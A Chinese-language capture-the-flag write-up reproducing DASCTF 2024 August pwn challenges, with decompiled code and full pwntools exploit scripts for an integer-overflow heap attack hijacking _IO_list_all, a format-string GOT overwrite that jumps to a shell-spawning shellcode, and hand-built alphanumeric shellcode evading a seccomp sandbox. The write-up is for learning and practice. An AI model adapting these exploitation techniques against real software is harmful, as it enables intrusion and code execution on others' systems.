DASCTF2024八月挑战赛Pwn方向复现
randArray
- 审计完发现没有什么漏洞,最后竟然是add时候存在整数溢出,0x800000000000000F*8=0x78,这种溢出还是很常见的,但是容易忽略
{
void *result; // rax
puts("How many?");
__isoc99_scanf("%llu", &size);
getchar();
result = malloc(8 * size);
ptr = result;
return result;
}
- 同时注意到这个函数中,是v1 < size的判断,通过上面的漏洞,size大小可以很大,这样就可以很长长度的交换数据
unsigned __int64 sub_1410()
{
unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREF
unsigned __int64 i; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+18h] [rbp-18h]
__int64 v4; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("How many?");
__isoc99_scanf("%llu", &v1);
getchar();
if ( v1 < size )
{
for ( i = 0LL; i < v1; ++i )
{
v3 = rand() % v1;
v4 = *((_QWORD *)ptr + i);
*((_QWORD *)ptr + i) = *((_QWORD *)ptr + v3);
*((_QWORD *)ptr + v3) = v4;
}
}
else
{
puts("too large");
}
return v5 - __readfsqword(0x28u);
}
- 同时知道这是伪随机数,直接用ctypes模拟爆破交换的次序,实现固定位置的数据交换进行攻击
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
io = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.134.27',36901)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(io,'b *$rebase(0x1597)')
pause()
promt = "?"
def menu(option):
io.sendlineafter('op:',str(option))
def newArray(num):
global promt
menu(0)
io.sendlineafter(promt,str(num))
def edit(content):
global promt
menu(1)
io.sendafter(promt,content)
def show():
global promt
menu(2)
def shuff(many):
global promt
menu(3)
io.sendlineafter(promt,str(many))
def add(idx,size,content):
menu(4)
io.sendlineafter('idx',str(idx))
io.sendlineafter('size',str(size))
io.sendafter('content',content)
def delete(idx):
global promt
menu(5)
io.sendlineafter(promt,str(idx))
def over():
global promt
menu(6)
def seed(seed):
global promt
io.sendlineafter(promt,str(seed))
def getseed():
libdll = CDLL("./libc.so.6")
for i in range(4000000):
li = [i for i in range(15)]
li.append(0xDEAD)
li.append(0xBEAF)
libdll.srand(i)
# libc.srand(47)
for j in range(17):
rd = libdll.rand()%17
tmp = li[rd]
li[rd] = li[j]
li[j] = tmp
if li[15] == 0xDEAD and li[16] != 0xBEAF:
for j in range(17):
rd = libdll.rand()%17
tmp = li[rd]
li[rd] = li[j]
li[j] = tmp
if li[15] == 0xDEAD and li[16] == 0xBEAF:
li = [i for i in range(15)]
li.append(0xDEAD)
li.append(0xBEAF)
li.append(0xBEAF)
li.append(0x1234)
for j in range(19):
rd = libdll.rand()%19
tmp = li[rd]
li[rd] = li[j]
li[j] = tmp
if li[15] == 0xDEAD and li[18] != 0x1234 and li[17] != 0x1234 and li[16] != 0x1234 and li[15] != 0x1234:
li = [i for i in range(15)]
li.append(0xDEAD)
li.append(0xBEAF)
for j in range(17):
rd = libdll.rand()%17
tmp = li[rd]
li[rd] = li[j]
li[j] = tmp
if li[15] == 0xDEAD and li[16] != 0xBEAF:
print(i)
print(li)
break
return i
# exp 函数
def exp():
# seed(getseed())
seed(1404865)
newArray(str(0x800000000000000F))
payload = b''
for i in range(15):
payload += p64(i)
edit(payload)
# prepare for leak libc
add(0,0x410,'a')
add(1,0x410,'a')
delete(0)
# leak libc
shuff(17)
show()
io.recvline()
io.recv(0x30)
libc_base = u64(io.recv(8)) - 0x21ace0
io_list_all = libc_base + 0x21b680
system = libc_base + 0x50d70
binsh = libc_base + 0x1d8678
print("libc_base:"+hex(libc_base))
# restore
shuff(17)
#leak heap
add(0,0x100,'a')
shuff(19)
show()
io.recvline()
io.recv(0x40)
heap_base = u64(io.recv(8))-0x310
print("heap_base:"+hex(heap_base))
# hijack io_list_all
add(1,0x100,'a')
delete(1)
delete(0)
payload = flat([0,0,0,0,((heap_base+0x310)>>12)^io_list_all])
edit(payload)
shuff(17)
fake_io_addr = heap_base+0x320
io_file = flat({
0x0: ' sh',
0x18: 0,
0x28: 1,
0x30: 0,
0x68: system,
0x88: fake_io_addr+0x2000,
0xa0: fake_io_addr,
0xd8: libc_base+libc.sym['_IO_wfile_jumps'],
0xe0: fake_io_addr,
},filler=b'\x00')
add(0,0x100,io_file)
add(1,0x100,p64(fake_io_addr))
over()
io.interactive()
exp()
clock
- 在init函数中让堆可执行
char *init()
{
char *buf; // [rsp+8h] [rbp-8h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
buf = (char *)malloc(0x100uLL);
mprotect(buf - 672, 0x21000uLL, 7);
puts("plz input mprotect code");
read(0, buf, 0x10uLL);
return buf;
}
- 其他函数都没有什么漏洞,只在display_current_time函数中有个格式化字符串漏洞
int display_current_time()
{
int v0; // r8d
int v1; // r9d
char *v2; // rax
char pwd[48]; // [rsp+0h] [rbp-70h] BYREF
char buf[48]; // [rsp+30h] [rbp-40h] BYREF
time_t timer; // [rsp+60h] [rbp-10h] BYREF
void *name; // [rsp+68h] [rbp-8h]
timer = time(0LL);
name = malloc(0x100uLL);
printf("You should login first,plz input format:");
read(0, buf, 0x30uLL);
printf("input name:");
read(0, name, 0x100uLL);
printf("input pwd:");
read(0, pwd, 0x30uLL);
format_and_print((unsigned int)buf, (_DWORD)name, (unsigned int)pwd, (_DWORD)name, v0, v1, pwd[0]);
puts("/bin/sh");
v2 = ctime(&timer);
return printf("Current time is %s", v2);
}
got表可写,同时格式化字符串后有个puts函数,想到劫持puts的got为shellcode地址。
但是遇到一个问题,和平常printf不一致的是,vsnprintf并不能泄漏堆地址和栈地址出来,他会将数据存到buffer中。
这里就要用一个小trick,利用%*d进行格式化字符串,具体内容如下
那这里就可以相当于printf("%*d%63$ln",name,pwd); 那么name的值就被当作width补充space,进而利用%63$ln讲puts_got改写为堆地址,进行执行shellcode
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.134.27',36901)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *0x04013E5')
pause()
p.recvuntil(b"plz input mprotect code")
p.sendline(b"a")
p.recvuntil(b"Enter your choice:")
p.sendline(b"3")
p.recvuntil(b"You should login first,plz input format:")
#puts_got
payload1 = b"%4210688x%33$ln"
p.sendline(payload1)
p.recvuntil(b"input name:")
p.sendline(b"name")
p.recvuntil(b"input pwd:")
p.sendline(b"pwd")
# dbg()
p.recvuntil(b"Enter your choice:")
p.sendline(b"3")
p.recvuntil(b"You should login first,plz input format:")
payload2 = b"%*d%63$ln"
p.sendline(payload2)
shellcode = asm(shellcraft.sh())
p.recvuntil(b"input name:")
p.sendline(shellcode)
p.recvuntil(b"input pwd:")
p.sendline(b"pwd")
p.interactive()
alphacode
sandbox
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x14 0x00 0x40000000 if (A >= 0x40000000) goto 0024
0004: 0x15 0x13 0x00 0x0000003b if (A == execve) goto 0024
0005: 0x15 0x12 0x00 0x00000142 if (A == execveat) goto 0024
0006: 0x15 0x11 0x00 0x00000065 if (A == ptrace) goto 0024
0007: 0x15 0x10 0x00 0x00000039 if (A == fork) goto 0024
0008: 0x15 0x0f 0x00 0x0000003a if (A == vfork) goto 0024
0009: 0x15 0x0e 0x00 0x00000038 if (A == clone) goto 0024
0010: 0x15 0x0d 0x00 0x00000057 if (A == unlink) goto 0024
0011: 0x15 0x0c 0x00 0x0000005a if (A == chmod) goto 0024
0012: 0x15 0x0b 0x00 0x00000000 if (A == read) goto 0024
0013: 0x15 0x09 0x00 0x00000002 if (A == open) goto 0023
0014: 0x20 0x00 0x00 0x00000010 A = args[0]
0015: 0x25 0x08 0x00 0x00000001 if (A > 0x1) goto 0024
0016: 0x35 0x00 0x07 0x00000000 if (A < 0x0) goto 0024
0017: 0x20 0x00 0x00 0x00000020 A = args[2]
0018: 0x25 0x05 0x00 0x00000001 if (A > 0x1) goto 0024
0019: 0x35 0x00 0x04 0x00000000 if (A < 0x0) goto 0024
0020: 0x20 0x00 0x00 0x00000028 A = args[3]
0021: 0x25 0x02 0x00 0x00000001 if (A > 0x1) goto 0024
0022: 0x35 0x00 0x01 0x00000000 if (A < 0x0) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
sub_1289()函数会在执行shellcode前清除rsp之外所有的通用寄存器
0x0000000000000000: 31 C0 xor eax, eax
0x0000000000000002: 31 DB xor ebx, ebx
0x0000000000000004: 31 C9 xor ecx, ecx
0x0000000000000006: 31 D2 xor edx, edx
0x0000000000000008: 31 FF xor edi, edi
0x000000000000000a: 31 F6 xor esi, esi
0x000000000000000c: 31 ED xor ebp, ebp
0x000000000000000e: 4D 31 C0 xor r8, r8
0x0000000000000011: 4D 31 C9 xor r9, r9
0x0000000000000014: 4D 31 D2 xor r10, r10
0x0000000000000017: 4D 31 DB xor r11, r11
0x000000000000001a: 4D 31 E4 xor r12, r12
0x000000000000001d: 4D 31 ED xor r13, r13
由于限制了禁止read,并且除open外,第0、2、3个参数的值必须为0或1,所以就先open flag文件,然后循环使用sendfile系统调用打印出flag文件。同时还要求限制是可见字符的范围内,第一个想到的是用AE64,但是发现限制shellcode长度没办法用这个,那只能手搓shellcode了
主要思路还是利用xor,add这些指令,不要通过上述方式构造出\x00,\x01这种非可见字符,贴一个官方WP
- exp
from pwn import *
charset = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
p=process('./pwn')
head=open('./head.bin','rb').read()
head_new=head.replace(b'\x01',(1^ord('n')).to_bytes(1,'little'))
exp=open('./exp.bin','rb').read()
exp_new=b''
for i in exp[:-2]:
if i not in charset:
exp_new+=(i^ord('n')).to_bytes(1,'little')
else:
exp_new+=i.to_bytes(1,'little')
exp_new=exp_new[:9]+(exp_new[9]^ord('n')).to_bytes(1,'little')+exp_new[10:]+(exp[-2]-0x75).to_bytes(1,'little')+(exp[-1]-0x75).to_bytes(1,'little')
# sc= b'hnnnnTYH39ZhnnJNH390T8ChuuaaYoL8w0T8a0T8h0T8j1T8c1T8shflagT1jl6akjojFXSZAZARR01akvy'
p.send(head_new+exp_new)
p.interactive()
Moon
rust不会
0 条评论
可输入 255 字